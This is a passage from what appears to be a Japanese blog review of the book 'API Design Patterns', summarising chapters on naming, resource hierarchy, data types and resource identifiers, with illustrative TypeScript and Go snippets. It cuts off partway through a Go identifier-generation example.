patterns」は、API設計パターンの基本概念から始まり、その重要性、構造、そして実際の適用に至るまで、幅広いトピックをカバーしています。この章を通じて、著者はAPI設計パターンの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。API設計パターンの定義と重要性API設計パターンは、ソフトウェア設計パターンの一種であり、APIの設計と構造化に関する再利用可能な解決策を提供します。著者は、これらのパターンを「適応可能な設計図」と巧みに表現しています。この比喩は、API設計パターンの本質を非常によく捉えています。建築の設計図が建物の構造を定義するように、API設計パターンはAPIの構造とインターフェースを定義します。しかし、重要な違いは、API設計パターンが固定的ではなく、様々な状況に適応可能であるという点です。著者は、API設計パターンの重要性をAPIの硬直性という観点から説明しています。これは非常に重要な指摘です。APIは一度公開されると、変更が困難になります。これは、APIの消費者(クライアントアプリケーションなど)が既存のインターフェースに依存しているためです。この硬直性は、システムの進化や新機能の追加を困難にする可能性があります。この問題を考えると、APIの硬直性はシステムの運用性と信頼性に直接影響を与えます。例えば、不適切に設計されたAPIは、将来的なスケーリングや性能最適化を困難にする可能性があります。また、APIの変更が必要になった場合、既存のクライアントとの互換性を維持しながら変更を行う必要があり、これは運用上の大きな課題となります。この問題に対処するため、著者は設計パターンを初期段階から採用することの重要性を強調しています。これは、将来の変更や拡張を容易にし、システムの長期的な保守性を向上させる上で非常に重要です。このアプローチはシステムの安定性と信頼性を長期的に確保するための重要な戦略です。API設計パターンの構造著者は、API設計パターンの構造を詳細に説明しています。特に興味深いのは、パターンの記述に含まれる要素です。名前とシノプシス動機概要実装トレードオフこの構造は、パターンを理解し適用する上で非常に有用です。特に、トレードオフの項目は重要です。ソフトウェア工学において、すべての決定にはトレードオフが伴います。パターンを適用する際も例外ではありません。脱線しますがアーキテクチャのトレードオフについてはこちらがオススメです。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazonトレードオフの理解はリスク管理と密接に関連しています。例えば、あるパターンを採用することで、システムの柔軟性が向上する一方で、複雑性も増加するかもしれません。このトレードオフを理解し、適切に管理することは、システムの信頼性とパフォーマンスを最適化する上で重要です。実践的な適用:Twapiの事例研究著者は、Twitter風のAPIであるTwapiを爆誕させて例に取り、API設計パターンの実践的な適用を示しています。この事例研究は、理論を実践に移す上で非常に有用です。特に興味深いのは、メッセージのリスト化とエクスポートの2つの機能に焦点を当てている点です。これらの機能は、多くのAPIで共通して必要とされるものであり、実際の開発シーンでも頻繁に遭遇する課題です。メッセージのリスト化著者は、まずパターンを適用せずにメッセージをリスト化する機能を実装し、その後にページネーションパターンを適用した実装を示しています。このコントラストは非常に教育的です。パターンを適用しない初期の実装は、以下のようになっています。interface ListMessagesResponse { results: Message[];}この実装は一見シンプルですが、著者が指摘するように、データ量が増加した場合に問題が発生します。例えば、数十万件のメッセージを一度に返そうとすると、レスポンスのサイズが巨大になり、ネットワークの帯域幅を圧迫し、クライアント側での処理も困難になります。これに対し、ページネーションパターンを適用した実装は以下のようになります。interface ListMessagesRequest { parent: string; pageToken: string; maxPageSize?: number;}interface ListMessagesResponse { results: Message[]; nextPageToken: string;}この実装では、クライアントはpageTokenとmaxPageSizeを指定することで、必要な量のデータを段階的に取得できます。これにより、大量のデータを効率的に扱うことが可能になります。このパターンの適用はシステムの安定性とスケーラビリティに大きく貢献します。大量のデータを一度に送信する必要がなくなるため、ネットワーク負荷が軽減され、サーバーのリソース消費も抑えられます。また、クライアント側でも処理するデータ量が制御可能になるため、アプリケーションのパフォーマンスと安定性が向上します。データのエクスポートデータのエクスポート機能に関しても、著者は同様のアプローチを取っています。まずパターンを適用しない実装を示し、その後にImport/Exportパターンを適用した実装を提示しています。パターンを適用しない初期の実装は以下のようになっています。interface ExportMessagesResponse { exportDownloadUri: string;}この実装は、エクスポートされたデータのダウンロードURLを返すだけの単純なものです。しかし、著者が指摘するように、この方法には幾つかの制限があります。例えば、エクスポート処理の進捗状況を確認できない、エクスポート先を柔軟に指定できない、データの圧縮や暗号化オプションを指定できないなどの問題があります。これに対し、Import/Exportパターンを適用した実装は以下のようになります。interface ExportMessagesRequest { parent: string; outputConfig: MessageOutputConfig;}interface MessageOutputConfig { destination: Destination; compressionConfig?: CompressionConfig; encryptionConfig?: EncryptionConfig;}interface ExportMessagesResponse { outputConfig: MessageOutputConfig;}この実装では、エクスポート先やデータの処理方法を柔軟に指定できるようになっています。さらに、著者は長時間実行操作パターンを組み合わせることで、エクスポート処理の進捗状況を追跡する方法も提示しています。このパターンの適用はシステムの運用性と可観測性を大幅に向上させます。エクスポート処理の進捗を追跡できるようになることで、問題が発生した際の迅速な対応が可能になります。また、エクスポート設定の柔軟性が増すことで、様々なユースケースに対応できるようになり、システムの利用可能性が向上します。API設計パターンの適用:早期採用の重要性著者は、API設計パターンの早期採用の重要性を強調しています。これは非常に重要な指摘です。APIを後から変更することは困難であり、多くの場合、破壊的な変更を伴います。例えば、ページネーションパターンを後から導入しようとした場合、既存のクライアントは全てのデータが一度に返ってくることを期待しているため、新しいインターフェースに対応できません。これは、後方互換性の問題を引き起こします。この問題はシステムの安定性と信頼性に直接影響します。APIの破壊的変更は、依存するシステムやサービスの機能停止を引き起こす可能性があります。これは、サービスレベル目標(SLO)の違反につながる可能性があります。したがって、API設計パターンの早期採用は、長期的な視点でシステムの安定性と進化可能性を確保するための重要な戦略と言えます。これは、「設計負債」を最小限に抑え、将来の拡張性を確保することにつながります。結論本章は、API設計パターンの基本的な概念と重要性を明確に示しています。特に、APIの硬直性という特性に焦点を当て、設計パターンの早期採用がいかに重要であるかを強調している点は非常に重要です。この章で学んだ内容は、システムの長期的な信頼性、可用性、保守性を確保する上で非常に重要です。API設計パターンを適切に適用することで、システムのスケーラビリティ、運用性、可観測性を向上させることができます。しかし、パターンの適用に当たっては、常にトレードオフを考慮する必要があります。パターンを適用することで複雑性が増す可能性もあるため、システムの要件や制約を十分に理解した上で、適切なパターンを選択することが重要です。API設計は単なる技術的な問題ではなく、システム全体のアーキテクチャ、開発プロセス、運用実践に深く関わる問題であることを認識することが重要です。Part 2 Design principlesここでは、APIデザインの核心となる原則が議論されています。命名規則、リソースのスコープと階層、データ型とデフォルト値、リソースの識別子、標準メソッド、部分的な更新と取得、カスタムメソッドなどの重要なトピックが取り上げられています。これらの原則は、一貫性があり、使いやすく、拡張性のあるAPIを設計する上で不可欠です。3 Naming「API Design Patterns」の第3章「Naming」は、API設計における命名の重要性、良い名前の特性、言語・文法・構文の選択、コンテキストの影響、データ型と単位の扱い、そして不適切な命名がもたらす結果について幅広く論じています。この章を通じて、著者は命名が単なる表面的な問題ではなく、APIの使いやすさ、保守性、そして長期的な成功に直接影響を与える重要な設計上の決定であることを明確に示しています。命名の重要性著者は、命名がソフトウェア開発において避けられない、そして極めて重要な側面であることから議論を始めています。特にAPIの文脈では、選択された名前はAPIの利用者が直接目にし、相互作用する部分であるため、その重要性は倍増します。「ルールズ・オブ・プログラミング」では\\"優れた名前こそ最高のドキュメントである\\"と述べられていますが、まさにその通りだと言えるでしょう。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazonこの点は、特にマイクロサービスアーキテクチャやクラウドネイティブ開発の文脈で重要です。これらの環境では、多数のサービスやコンポーネントが相互に通信し、それぞれのインターフェースを通じて機能を提供します。適切な命名は、これらのサービス間の関係を明確にし、システム全体の理解を促進します。例えば、Kubernetes環境で動作するマイクロサービスを考えてみましょう。サービス名、エンドポイント名、パラメータ名などの命名が適切であれば、開発者はシステムの全体像を把握しやすくなり、新しい機能の追加や既存機能の修正がスムーズに行えます。逆に、命名が不適切であれば、サービス間の依存関係の理解が困難になり、システムの複雑性が不必要に増大する可能性があります。著者は、APIの名前を変更することの困難さについても言及しています。これは、後方互換性の維持という観点から非常に重要な指摘です。一度公開されたAPIの名前を変更することは、そのAPIに依存する全てのクライアントに影響を与える可能性があります。これは、システムの安定性と信頼性に直接関わる問題です。この点は、特にバージョニング戦略と密接に関連しています。例えば、セマンティックバージョニングを採用している場合、名前の変更は通常メジャーバージョンの更新を必要とします。これは、その変更が後方互換性を破壊する可能性があることを意味します。したがって、初期の段階で適切な命名を行うことは、将来的なバージョン管理の複雑さを軽減し、システムの長期的な保守性を向上させる上で極めて重要です。良い名前の特性著者は、良い名前の特性として「表現力」「シンプルさ」「予測可能性」の3つを挙げています。これらの特性は、APIの設計全体にも適用できる重要な原則です。表現力は、名前が表す概念や機能を明確に伝える能力を指します。例えば、CreateAccountという名前は、アカウントを作成するという機能を明確に表現しています。この表現力は、APIの自己文書化につながり、開発者がAPIを直感的に理解し、使用することを可能にします。シンプルさは、不必要な複雑さを避け、本質的な意味を簡潔に伝える能力です。著者はUserPreferencesという例を挙げていますが、これはUserSpecifiedPreferencesよりもシンプルでありながら、十分に意味を伝えています。シンプルな名前は、コードの可読性を高め、APIの学習曲線を緩やかにします。予測可能性は、APIの一貫性に関わる重要な特性です。著者は、同じ概念には同じ名前を、異なる概念には異なる名前を使用することの重要性を強調しています。これは、APIの学習可能性と使いやすさに直接影響します。これらの特性は、マイクロサービスアーキテクチャにおいて特に重要です。多数のサービスが存在する環境では、各サービスのAPIが一貫した命名規則に従っていることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで、リソースの作成にCreate、更新にUpdate、削除にDeleteというプレフィックスを使用するといった一貫性は、開発者の生産性を大きく向上させます。Golangの文脈では、これらの原則は特に重要です。Goの設計哲学は、シンプルさと明確さを重視しており、これはAPI設計にも反映されるべきです。例えば、Goの標準ライブラリでは、http.ListenAndServeやjson.Marshalのような、動詞+名詞の形式で簡潔かつ表現力豊かな名前が多用されています。これらの名前は、その機能を明確に表現しながらも、不必要に長くならないよう配慮されています。言語、文法、構文の選択著者は、API設計における言語、文法、構文の選択について詳細に論じています。特に興味深いのは、アメリカ英語を標準として使用することの推奨です。これは、グローバルな相互運用性を最大化するための実用的な選択として提示されています。この選択は、国際的なチームが協働するモダンな開発環境において特に重要です。例えば、多国籍企業のマイクロサービス環境では、各サービスのAPIが一貫した言語で設計されていることが、チーム間のコミュニケーションと統合を円滑にします。文法に関しては、著者は動詞の使用法、特に命令法の重要性を強調しています。例えば、CreateBookやDeleteWeatherReadingのような名前は、アクションの目的を明確に示します。これは、RESTful APIの設計原則とも整合しており、HTTP動詞とリソース名の組み合わせによる直感的なAPIデザインを促進します。構文に関しては、一貫したケース(camelCase, snake_case, kebab-case)の使用が推奨されています。これは、APIの一貫性と予測可能性を高めるために重要です。例えば、Golangでは通常、公開される関数やメソッドには PascalCase を、非公開のものには camelCase を使用します。この規則を API 設計にも適用することで、Go 開発者にとって馴染みやすい API を作成できます。type UserService interface { CreateUser(ctx context.Context, user *User) error GetUserByID(ctx context.Context, id string) (*User, error) UpdateUserProfile(ctx context.Context, id string, profile *UserProfile) error}このような一貫した命名規則は、API の使用者が新しいエンドポイントや機能を容易に予測し、理解することを可能にします。コンテキストと命名著者は、命名におけるコンテキストの重要性を強調しています。同じ名前でも、異なるコンテキストで全く異なる意味を持つ可能性があるという指摘は、特にマイクロサービスアーキテクチャにおいて重要です。例えば、Userという名前は、認証サービスでは認証情報を持つエンティティを指す可能性がありますが、注文管理サービスでは顧客情報を指す可能性があります。このような場合、コンテキストを明確にするために、AuthUserやCustomerUserのように、より具体的な名前を使用することが望ましいでしょう。これは、ドメイン駆動設計(DDD)の概念とも密接に関連しています。DDDでは、各ドメイン(またはバウンデッドコンテキスト)内で一貫した用語を使用することが推奨されます。API設計においても、この原則を適用し、各サービスやモジュールのドメインに適した名前を選択することが重要です。例えば、Eコマースシステムのマイクロサービスアーキテクチャを考えてみましょう:注文サービス: Order, OrderItem, PlaceOrder在庫サービス: InventoryItem, StockLevel, ReserveStock支払サービス: Payment, Transaction, ProcessPayment各サービスは、そのドメインに特化した用語を使用しています。これにより、各サービスの責任範囲が明確になり、他のサービスとの境界も明確になります。データ型と単位著者は、データ型と単位の扱いについても詳細に論じています。特に、単位を名前に含めることの重要性が強調されています。これは、API の明確さと安全性を高める上で非常に重要です。例えば、サイズを表すフィールドを単に size とするのではなく、sizeBytes や sizeMegapixels のように単位を明示することで、そのフィールドの意味と使用方法が明確になります。これは、特に異なるシステム間で情報をやり取りする際に重要です。著者が挙げている火星気候軌道船の例は、単位の不一致がもたらす重大な結果を示す極端な例ですが、日常的な開発においても同様の問題は起こりうます。例えば、あるサービスが秒単位で時間を扱い、別のサービがミリ秒単位で扱っている場合、単位が明示されていないと深刻なバグの原因となる可能性があります。Golangにおいて、このような問題に対処するための一つの方法は、カスタム型を使用することです。例えば:type Bytes int64type Megapixels float64type Image struct { Content []byte SizeBytes Bytes Dimensions struct { Width Megapixels Height Megapixels }}このようなアプローチは、型安全性を高め、単位の誤用を防ぐのに役立ちます。さらに、これらの型に特定のメソッドを追加することで、単位変換や値の検証を容易に行うことができます。結論著者は、良い命名の重要性と、それがAPIの品質全体に与える影響を明確に示しています。良い名前は、単にコードを読みやすくするだけでなく、APIの使いやすさ、保守性、そして長期的な進化可能性に直接影響を与えます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切な命名がシステム全体の理解と管理を容易にする鍵となります。一貫性のある、表現力豊かで、かつシンプルな名前を選択することで、開発者はAPIを直感的に理解し、効率的に使用することができます。また、単位やデータ型を明確に示す名前を使用することは、システムの安全性と信頼性を高める上で重要です。これは、特に異なるシステムやチーム間でデータをやり取りする際に、誤解や誤用を防ぐ効果的な手段となります。Golangの文脈では、言語の設計哲学であるシンプルさと明確さを反映したAPI設計が重要です。標準ライブラリの命名規則に倣い、簡潔でかつ表現力豊かな名前を選択することで、Go開発者にとって親和性の高いAPIを設計することができます。最後に、命名は技術的な問題であると同時に、コミュニケーションの問題でもあります。適切な命名は、開発者間、チーム間、さらには組織間のコミュニケーションを促進し、プロジェクトの成功に大きく寄与します。したがって、API設計者は命名に十分な時間と注意を払い、長期的な視点でその影響を考慮する必要があります。4 Resource scope and hierarchy「API Design Patterns」の第4章「Resource scope and hierarchy」は、APIにおけるリソースのスコープと階層構造に焦点を当て、リソースレイアウトの概念、リソース間の関係性の種類、エンティティ関係図の活用方法、適切なリソース関係の選択基準、そしてリソースレイアウトのアンチパターンについて詳細に論じています。この章を通じて、著者はリソース中心のAPI設計の重要性と、それがシステムの拡張性、保守性、そして全体的なアーキテクチャにどのように影響を与えるかを明確に示しています。Figure 4.2 Users, payment methods, and addresses all have different relationships to one another. より引用リソースレイアウトの重要性著者は、APIデザインにおいてリソースに焦点を当てることの重要性から議論を始めています。これは、RESTful APIの設計原則と密接に関連しており、アクションよりもリソースを中心に考えることで、API全体の一貫性と理解しやすさが向上することを強調しています。この考え方は、マイクロサービスアーキテクチャやクラウドネイティブ開発において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが扱うリソースとその関係性を明確に定義することで、システム全体の複雑性を管理しやすくなります。著者が提示するリソースレイアウトの概念は、単にデータベーススキーマを設計するのとは異なります。APIのリソースレイアウトは、クライアントとサーバー間の契約であり、システムの振る舞いや機能を定義する重要な要素となります。この点で、リソースレイアウトはシステムの外部インターフェースを形作る重要な要素であり、慎重に設計する必要があります。リソース間の関係性著者は、リソース間の関係性を詳細に分類し、それぞれの特性と適用場面について論じています。特に注目すべきは以下の点です。参照関係: 最も基本的な関係性で、あるリソースが他のリソースを参照する形式です。例えば、メッセージリソースが著者ユーザーを参照する場合などが該当します。多対多関係: 複数のリソースが互いに関連する複雑な関係性です。例えば、ユーザーとチャットルームの関係などが挙げられます。自己参照関係: 同じタイプのリソースが互いに参照し合う関係性です。階層構造や社会的なネットワークの表現に適しています。階層関係: 親子関係を表現する特殊な関係性で、所有権や包含関係を示します。これらの関係性の理解と適切な適用は、APIの設計において極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の境界を定義する際にこれらの関係性を慎重に考慮する必要があります。例えば、Golangを用いてマイクロサービスを実装する場合、これらの関係性を適切に表現することが重要です。以下は、チャットアプリケーションにおけるメッセージとユーザーの関係を表現する簡単な例です。type Message struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` AuthorID string `json:\\"author_id\\"` Timestamp time.Time `json:\\"timestamp\\"`}type User struct { ID string `json:\\"id\\"` Username string `json:\\"username\\"` Email string `json:\\"email\\"`}type ChatRoom struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` UserIDs []string `json:\\"user_ids\\"`}この例では、MessageがUserを参照する関係性と、ChatRoomとUserの多対多関係を表現しています。エンティティ関係図の活用著者は、エンティティ関係図(ERD)の重要性とその読み方について詳しく説明しています。ERDは、リソース間の関係性を視覚的に表現する強力なツールです。特に、カーディナリティ(一対一、一対多、多対多など)を明確に示すことができる点が重要です。ERDの活用は、APIの設計フェーズだけでなく、ドキュメンテーションや開発者間のコミュニケーションにおいても非常に有効です。特に、マイクロサービスアーキテクチャのような複雑なシステムでは、各サービスが扱うリソースとその関係性を視覚的に理解することが、全体像の把握に役立ちます。適切な関係性の選択著者は、リソース間の適切な関係性を選択する際の考慮点について詳細に論じています。特に重要な点は以下の通りです。関係性の必要性: すべてのリソース間に関係性を持たせる必要はありません。必要最小限の関係性に留めることで、APIの複雑性を抑制できます。インライン化 vs 参照: リソースの情報をインライン化するか、参照として扱うかの選択は、パフォーマンスとデータの一貫性のトレードオフを考慮して決定する必要があります。階層関係の適切な使用: 階層関係は強力ですが、過度に深い階層は避けるべきです。これらの選択は、システムの拡張性と保守性に大きな影響を与えます。例えば、不必要に多くの関係性を持つAPIは、将来的な変更が困難になる可能性があります。一方で、適切に設計された関係性は、システムの理解を容易にし、新機能の追加やスケーリングを円滑に行うことができます。アンチパターンの回避著者は、リソースレイアウトにおける一般的なアンチパターンとその回避方法について説明しています。特に注目すべきアンチパターンは以下の通りです。全てをリソース化する: 小さな概念まですべてをリソース化することは、APIを不必要に複雑にする可能性があります。深すぎる階層: 過度に深い階層構造は、APIの使用と理解を困難にします。全てをインライン化する: データの重複や一貫性の問題を引き起こす可能性があります。これらのアンチパターンを回避することで、より使いやすく、保守性の高いAPIを設計することができます。例えば、深すぎる階層構造を避けることで、APIのエンドポイントがシンプルになり、クライアント側の実装も容易になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。サービス境界の定義: リソースの関係性を適切に設計することで、マイクロサービス間の境界を明確に定義できます。これは、システムの拡張性と保守性に直接的な影響を与えます。パフォーマンスとスケーラビリティ: インライン化と参照の適切な選択は、システムのパフォーマンスとスケーラビリティに大きく影響します。例えば、頻繁に一緒にアクセスされるデータをインライン化することで、不必要なネットワーク呼び出しを減らすことができます。進化可能性: 適切にリソースと関係性を設計することで、将来的なAPIの拡張や変更が容易になります。これは、長期的なシステム運用において非常に重要です。一貫性と予測可能性: リソースレイアウトの一貫したアプローチは、APIの学習曲線を緩やかにし、開発者の生産性を向上させます。運用の簡素化: 適切に設計されたリソース階層は、アクセス制御やログ分析などの運用タスクを簡素化します。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、Goの構造体やインターフェースを使用して、リソース間の関係性を明確に表現することができます。また、Goの強力な型システムを活用することで、APIの一貫性と型安全性を確保することができます。結論第4章「Resource scope and hierarchy」は、APIデザインにおけるリソースのスコープと階層構造の重要性を明確に示しています。適切なリソースレイアウトの設計は、APIの使いやすさ、拡張性、保守性に直接的な影響を与えます。特に重要な点は以下の通りです。リソース間の関係性を慎重に設計し、必要最小限の関係性に留めること。インライン化と参照のトレードオフを理解し、適切に選択すること。階層関係を効果的に使用しつつ、過度に深い階層は避けること。一般的なアンチパターンを認識し、回避すること。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なリソースレイアウトの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の拡張性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。5 Data types and defaults「API Design Patterns」の第5章「Data types and defaults」は、APIにおけるデータ型とデフォルト値の重要性、各データ型の特性と使用上の注意点、そしてシリアライゼーションの課題について詳細に論じています。この章を通じて、著者はAPIの設計において適切なデータ型の選択とデフォルト値の扱いが、APIの使いやすさ、信頼性、そして長期的な保守性にどのように影響するかを明確に示しています。データ型の重要性と課題著者は、APIにおけるデータ型の重要性から議論を始めています。特に注目すべきは、プログラミング言語固有のデータ型に依存せず、シリアライゼーションフォーマット(主にJSON)を介して異なる言語間で互換性のあるデータ表現を実現することの重要性です。この問題は根深すぎて一つの解決策として開発言語を揃えるまでしてる組織ある。この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 5.1 Data moving from API server to client より引用この図は、APIサーバーからクライアントへのデータの流れを示しています。サーバー側でのプログラミング言語固有の表現がシリアライズされ、言語非依存の形式(多くの場合JSON)に変換され、ネットワークを介して送信されます。クライアント側では、このデータがデシリアライズされ、再びクライアントの言語固有の表現に変換されます。この過程は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。異なる言語やフレームワークで実装された複数のサービスが協調して動作する環境では、このようなデータの変換と伝送が頻繁に行われるため、データ型の一貫性と互換性が不可欠です。例えば、あるサービスが64ビット整数を使用し、別のサービスがそれを32ビット整数として解釈してしまうと、深刻なバグや不整合が発生する可能性があります。著者が指摘する「null」値と「missing」値の区別も重要な論点です。これは、オプショナルな値の扱いにおいて特に重要で、APIの設計者はこの違いを明確に意識し、適切に処理する必要があります。例えば、Golangにおいては、以下のように構造体のフィールドをポインタ型にすることで、この区別を表現できます。type User struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Age *int `json:\\"age,omitempty\\"` IsActive *bool `json:\\"is_active,omitempty\\"`}この設計により、AgeやIsActiveフィールドが省略された場合(missing)と、明示的にnullが設定された場合を区別できます。このような細かい違いに注意を払うことで、APIの柔軟性と表現力を高めることができます。プリミティブデータ型の扱い著者は、ブール値、数値、文字列といったプリミティブデータ型について詳細に論じています。特に注目すべきは、これらのデータ型の適切な使用法と、シリアライゼーション時の注意点です。ブール値に関しては、フィールド名の選択が重要であると指摘しています。例えば、disallowChatbotsよりもallowChatbotsを使用することで、二重否定を避け、APIの理解しやすさを向上させることができます。数値に関しては、大きな整数や浮動小数点数の扱いに注意が必要です。著者は、これらの値を文字列としてシリアライズすることを提案しています。これは特に重要な指摘で、例えばJavaScriptでは64ビット整数を正確に扱えないという問題があります。Golangでこれを実装する場合、以下のようなアプローチが考えられます。type LargeNumber struct { Value string `json:\\"value\\"`}func (ln *LargeNumber) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } // ここで文字列を適切な数値型に変換 // エラーチェックも行う return nil}文字列に関しては、UTF-8エンコーディングの使用と、正規化形式(特にNFC)の重要性が強調されています。これは特に識別子として使用される文字列に重要で、一貫性のある比較を保証します。コレクションと構造体著者は、リスト(配列)とマップ(オブジェクト)についても詳細に論じています。これらのデータ型は、複雑なデータ構造を表現する上で不可欠ですが、適切に使用しないと問題を引き起こす可能性があります。リストに関しては、要素の型の一貫性と、サイズの制限の重要性が指摘されています。これは、API の安定性とパフォーマンスに直接影響します。例えば、リストのサイズが無制限に大きくなることを許可すると、メモリ使用量の増大やレスポンス時間の遅延につながる可能性があります。マップに関しては、動的なキー・バリューペアの格納に適していますが、スキーマレスな性質ゆえに慎重に使用する必要があります。著者は、マップのキーと値のサイズに制限を設けることを推奨しています。これは、APIの予測可能性と安定性を確保する上で重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。データの一貫性: 異なるサービス間でデータ型の一貫性を保つことは、システム全体の信頼性と保守性に直結します。例えば、全てのサービスで日時をISO 8601形式の文字列として扱うといった統一規則を設けることが有効です。バージョニングとの関係: データ型の変更はしばしばAPIの破壊的変更につながります。適切なバージョニング戦略と組み合わせることで、既存のクライアントへの影響を最小限に抑えつつ、APIを進化させることができます。パフォーマンスとスケーラビリティ: 大きな数値を文字列として扱うことや、コレクションのサイズを制限することは、システムのパフォーマンスとスケーラビリティに直接影響します。これらの決定は、システムの成長に伴う課題を予防する上で重要です。エラーハンドリング: 不適切なデータ型やサイズの入力を適切に処理し、明確なエラーメッセージを返すことは、APIの使いやすさと信頼性を向上させます。ドキュメンテーション: データ型、特に制約(例:文字列の最大長、数値の範囲)を明確にドキュメント化することは、API利用者の理解を助け、誤用を防ぎます。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、カスタムのUnmarshalJSONメソッドを使用して、文字列として受け取った大きな数値を適切に処理することができます。また、Goの強力な型システムを活用することで、APIの型安全性を高めることができます。type SafeInt64 int64func (si *SafeInt64) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } i, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *si = SafeInt64(i) return nil}結論第5章「Data types and defaults」は、APIデザインにおけるデータ型とデフォルト値の重要性を明確に示しています。適切なデータ型の選択と、それらの一貫した使用は、APIの使いやすさ、信頼性、そして長期的な保守性に直接的な影響を与えます。特に重要な点は以下の通りです。プログラミング言語に依存しない、一貫したデータ表現の重要性。null値とmissing値の区別、およびそれらの適切な処理。大きな数値や浮動小数点数の安全な取り扱い。文字列のエンコーディングと正規化の重要性。コレクション(リストとマップ)の適切な使用とサイズ制限。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なデータ型の選択は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切なデータ型の選択と一貫した使用は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。Part 3 Fundamentalsこのパートでは、APIの基本的な操作と機能について深く掘り下げています。標準メソッド(GET、POST、PUT、DELETE等)の適切な使用法、部分的な更新と取得、カスタムメソッドの設計、長時間実行操作の扱い方などが説明されています。これらの基本的な要素を適切に設計することで、APIの使いやすさと機能性が大きく向上します。6 Resource identification「API Design Patterns」の第6章「Resource identification」は、APIにおけるリソース識別子の重要性、良い識別子の特性、その実装方法、そしてUUIDとの関係について詳細に論じています。この章を通じて、著者はリソース識別子が単なる技術的な詳細ではなく、APIの使いやすさ、信頼性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。識別子の重要性と特性著者は、識別子の重要性から議論を始めています。APIにおいて、識別子はリソースを一意に特定するための手段であり、その設計は慎重に行う必要があります。良い識別子の特性として、著者は以下の点を挙げています。使いやすさ一意性永続性生成の速さと容易さ予測不可能性読みやすさ、共有のしやすさ、検証可能性情報密度の高さこれらの特性は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、永続性と一意性は、分散システムにおけるデータの一貫性と整合性を確保する上で不可欠です。また、予測不可能性はセキュリティの観点から重要で、リソースの推測や不正アクセスを防ぐ役割を果たします。著者が提案する識別子の形式は、Crockford\'s Base32エンコーディングを使用したものです。この選択には多くの利点があります。高い情報密度(ASCIIキャラクタあたり5ビット)人間が読みやすく、口頭でも伝えやすい大文字小文字を区別しない柔軟性チェックサム文字による検証可能性これらの特性は、実際の運用環境で非常に有用です。例えば、識別子の読み上げやタイプミスの検出が容易になり、サポートや障害対応の効率が向上します。実装の詳細著者は、識別子の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。サイズの選択: 著者は、用途に応じて64ビットまたは128ビットの識別子を推奨しています。これは、多くのユースケースで十分な一意性を提供しつつ、効率的なストレージと処理を可能にします。生成方法: 暗号学的に安全な乱数生成器の使用を推奨しています。これは、識別子の予測不可能性と一意性を確保する上で重要です。チェックサムの計算: 識別子の検証を容易にするためのチェックサム文字の追加方法を詳細に説明しています。データベースでの保存: 文字列、バイト列、整数値としての保存方法を比較し、それぞれの利点と欠点を分析しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。package mainimport ( \\"crypto/rand\\" \\"encoding/base32\\" \\"fmt\\")func GenerateID() (string, error) { bytes := make([]byte, 16) // 128ビットの識別子 _, err := rand.Read(bytes) if err != nil { return \\"\\", err } encoded := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(bytes) checksum := calculateChecksum(bytes) return fmt.Sprintf(\\"%s%c\\", encoded, checksumChar(checksum)), nil}func calculateChecksum(bytes []byte) int { sum := 0 for _, b := range bytes { sum += int(b) } return sum % 32}func checksumChar(checksum int) rune { return rune(\'A\' + checksum)}func main() { id, err := GenerateID() if err != nil { fmt.Printf(\\"Error generating ID: %v\\\\n\\", err) return } fmt.Printf(\\"Generated ID: %s\\\\n\\", 